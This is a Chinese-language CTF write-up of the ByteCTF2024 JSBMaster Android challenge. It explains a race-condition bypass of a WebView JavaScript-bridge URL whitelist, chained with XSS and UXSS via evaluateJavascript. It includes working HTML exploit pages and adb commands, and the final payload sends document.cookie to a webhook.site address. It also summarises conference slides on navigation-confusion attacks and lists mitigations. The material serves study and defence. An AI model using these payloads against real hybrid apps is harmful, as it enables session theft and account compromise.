JSB鉴权条件竞争绕过

First Post:

Last Update:

参考文档:初探JSB鉴权条件竞争绕过–以ByteCTF2024-JSBMaster为例 - 先知社区 (aliyun.com)

ByteCTF2024-JSBMaster

题目分析

题目要求传入一个POC URL拿到m.toutaio.com 域上的flag

代码流程

先接收一个Intent获取URL,需要满足uri.getHost() != null && uri.getHost().endsWith("app.toutiao.com")才会loadUrl,获取不到就打开example.html

image-20240927141201508

程序自己的流程其实到这里就结束了,剩下的是作者提供了JSB的接口,但没有给出调用,所以说咱们的初步目标就是要写一个html来调用这个JSB的接口,至于具体怎么获取flag后文再讲

先看JSB的代码:

想要调用JSB代码的话,是有白名单的,需要满足url.startsWith("https://app.toutiao.com/") || url.equals("file:///android_asset/example.html")

接下来的目标就是如何绕过这个鉴权

关注到重写的shouldOverrideUrlLoading函数,该函数会在页面重新加载时调用,也会获取到一个url,并且这个url只判断了非空,所以可以导致任意页面加载,这也意味着可以加载咱们自己写的html页面,格式就是 http://app.toutiao.com/?url=http://xxxxx.com/

可以验证:

1
adb shell am start -n com.example.jsbmaster/.MainActivity -W -e url http://app.toutiao.com/?url=http://www.bilibili.com/

条件竞争绕过JSB鉴权

这里出题人给出了hint:as-21-Qin-The-Tangled-WebView-JavascriptInterface-Once-More.23 (blackhat.com)

这个ppt我暂时没看懂,后文ppt解读补坑。(这里借鉴参考文档)参考文档提到: “实时” 访问控制,在 UI线程(一般是主线程)中通过 WebView.getUrl 获取 URL

可以看到本题的jsb方法是跑在UI线程上

继续查查这个 runOnUiThread

如果当前线程是 UI 线程,则立即执行该操作。如果当前线程不是 UI 线程,则该操作将发布到 UI 线程的事件队列中。

这里他跑在UI线程中,因为程序逻辑就有更新UI的操作

js与java方法的交互是在WebView 的私有后台线程上跑的,而我们的 WebView.getUrl 只能是在UI线程中调用。当我们发起多个jsb调用,那么对应的操作就会放在UI 线程的事件队列中排队等待执行。这些操作排队调用WebView.getUrl,期间若WebView发生了某些改变,这个改变可能会影响到 getUrl 的取值,那很有可能获取到的URL是不一致的。(这里直接复制大佬的文章了)

那么我们就是要先发出大量的jsb事件,让他们排队等待执行的过程中,做一些事情,使得webview发生改变,进而影响getUrl的取值,使得本来通不过白名单的jsb事件变得能通过

[shouldOverrideUrlLoading](https://developer.android.com/reference/android/webkit/WebViewClient#shouldOverrideUrlLoading(android.webkit.WebView, android.webkit.WebResourceRequest)) 也是运行在UI线程中的,由网页发起的导航会调用该方法,若其中使用了 WebView.loadUrl 处理进行了浏览器启动的导航,那么就有可能会改变 getUrl 获取到的值

所以这里引出了两个新概念,浏览器启动的导航和渲染启动的导航。(后文详细介绍)

  • 浏览器启动的导航是指在 WebView 中直接调用类似 loadUrl() 方法加载页面的过程,浏览器导航负责页面请求的发起、URL 的解析、服务器资源的获取等。
  • 渲染启动的导航是指用户在 WebView 中点击页面上的链接或者通过 JavaScript、重定向等操作时触发的导航过程,它与浏览器导航不同,导航的起点是 Web 页面内容本身,而不是通过 Java 代码直接调用 loadUrl()

先来实验验证下,我们准备攻击的js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html></html>
<head>
<script>
function i(){
jsb.base64Decode(`');if(location.href.startsWith("https://app.toutiao.com/")){alert(location.href)}//`); //这里前三个字符是是构建闭合,xss
}
// 发起大量的jsb调用
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
// 使用浏览器启动的导航,调用了 loadUrl
location.href = "https://a?url=https://app.toutiao.com/";
</script>
</head>
<body>
<p>JSBMaster</p>
</body>
</html>

就是发现可以成功在app.toutiao.com 域上执行了js代码

而另外一种渲染启动导航的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html></html>
<head>
<script>
function i(){
jsb.base64Decode(`');if(location.href.startsWith("https://app.toutiao.com/")){alert(location.href)}//`);
}
// 发起大量的jsb调用
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
// 使用渲染启动的导航,未调用 loadUrl
location.href = "https://app.toutiao.com/";
</script>
</head>
<body>
<p>JSBMaster</p>
</body>
</html>

发现不可行

这两种区别以及原理后文ppt解读补坑

那么总结一下,我们现在可以通过浏览器启动的导航来更改geturl的值,进一步影响jsb消息队列中的白名单检测,又因为有xss洞,使得可以在app.toutiao.com域上执行任意的jsb命令

但是flag是需要在m.toutiao.com这个域上执行js的

UXSS

概念

通用型跨站脚本(UXSS,Universal Cross-Site Scfipting),主要是利用浏览器及插件的漏洞(比如同源策略绕过,导致A站的脚本可以访问B站的各种私有属性,例如cookie等)来构造跨站条件,以执行恶意代码。它与普通的XSS的不同点就在于漏洞对象及受害范围的差异上,如表1所示。

image-20241008080704441

调用 [evaluateJavascript](https://developer.android.com/reference/android/webkit/WebView#evaluateJavascript(java.lang.String, android.webkit.ValueCallback)) 方法在当前显示页面的上下文中异步执行JavaScript代码,然后这里是直接拼接的外部参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html></html>
<head>
<script>
function i(){
jsb.base64Decode(`');if(location.href.startsWith("https://app.toutiao.com/")){function i1(){jsb.base64Decode("');if(location.href.startsWith('https://m.toutiao.com/')){location.href='https://webhook.site/ed847c82-7110-497e-9182-f61c45602859?'+document.cookie}//");}setInterval(i1,0);setInterval(i1,0);setInterval(i1,0);setInterval(i1,0);location.href='https://m.toutiao.com/';}//`);
}
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
location.href = "https://a?url=https://app.toutiao.com/";
</script>
</head>
<body>
<p>JSBMaster</p>
</body>
</html>

【Web】WebHook详解-CSDN博客

这里的攻击链

  • 浏览器启动的导航更改geturl()获得的值

  • jsb绕过鉴权,在app.toutiao.com域执行任意js代码

  • evaluateJavascript()构造闭合触发uxss(有种嵌套的感觉),变为在m.toutiao.com域上执行jsb

  • 执行即可获得flag,一个hook页面拦截

    image-20241006103139339

111

攻击链模型

自己写了个最简单的利用模型,原理是可以得到验证的,输出webview里geturl的url值,可以看到成功修改为了指定域名 (代码在附件)

1
adb shell am start -n com.example.jsb/.MainActivity -W -e url https://shimmer123456.github.io/jsbvuln.html

image-20241002164224327

两篇PPT解读

https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Qin-The-Tangled-WebView-JavascriptInterface-Once-More.pdf

文中提到两种鉴权方法,第一种:

Tangled getUrl —— Lifecycle-based access control 基于生命周期的访问控制

image-20241003182409116

ppt中只有这张图提了一下,初步理解就是从生命周期回调中获取 URL,例如 onPageStartedShouldOverrideUrlLoading

第二种:

Tangled getUrl —— “real-time” access control “实时”访问控制

在 UI线程(一般是主线程)中通过 WebView.getUrl 获取 URL

本题用到的就是第二种方法,ppt中也提到

java与java方法的交互是在Webview后台的私有线程上跑的,WebView.getUrl 只能是在UI线程中调用

其中runOnUiThread:

如果当前线程是 UI 线程,则立即执行该操作。如果当前线程不是 UI 线程,则该操作将发布到 UI 线程的事件队列中。

js与java方法的交互是在WebView 的私有后台线程上跑的,而我们的 WebView.getUrl 只能是在UI线程中调用。当我们发起多个jsb调用,那么对应的操作就会放在UI 线程的事件队列中排队等待执行。在这个过程中,我们做一些事情让**WebView.getUrl** 也发生改变,那么这个操作就会插入jsb的消息队列中,使得后面发生的jsb调用,如果里面有白名单鉴权,他的geturl获得的url就是发生改变后的url。

那么我们就是要先发出大量的jsb事件,让他们排队等待执行的过程中,做一些事情,使得webview发生改变,进而影响getUrl的取值,使得本来通不过白名单的jsb事件变得能通过

New Attack Model —- Navigation Confused Vulnerability(NCV) 导航混淆漏洞

Render-initiated VS Browser-initiated Navigation 渲染启动的 vs 浏览器启动的

image-20241005085722370

文中提到

During different types of navigation, WebView.getUrl will return different value

在不同类型的导航过程中,WebView.getUrl 会返回不同的值

当使用浏览器启动的导航时,getUrl 底层返回的是 pendingentry ,而使用渲染启动的导航时返回的是GetLastCommittedEntry() 的值

图中倒数第二个区别:浏览器启动的导航不需要大量的检查,渲染启动的则需要

那么依赖于他的loadurl后,geturl也可以快速执行得到改变后的url值,后者在jsb调用链中很慢,jsb执行完他也没有loadurl,所以说触发不了

Attack In Real World#1

首先设置一个 400 毫秒的延迟后调用 getToken,然后立即调用 browser_navigation

时间延迟攻击:攻击者利用 setTimeout 来操控函数的执行顺序,试图在导航发生之前先获取令牌。这种方式可能允许攻击者在用户进行导航之前,窃取敏感信息

预防:

严格的安全验证:确保在处理敏感操作时实施严格的安全验证,尤其是在允许 JavaScript 调用本地接口时。

防止时间延迟攻击:设计时避免依赖于操作顺序,确保敏感操作在用户导航前不会被执行。(有点逻辑洞的感觉)

ppt里还有两种attack 感兴趣喂给gpt基本也能看懂,不做赘述

Temporary solution

  • 不要将 loadUrl 暴露给 JavaScript 接口
  • 不要在生命周期回调中暴露 loadUrl
  • 注意 WebView 活动的 launchMode
  • 注意 WebView 的重用

[https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20A%20New%20Attack%20Model%20for%20Hybrid%20Mobile%20Applications%20-%20Ce%20Qin.pdf](https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1 - A New Attack Model for Hybrid Mobile Applications - Ce Qin.pdf)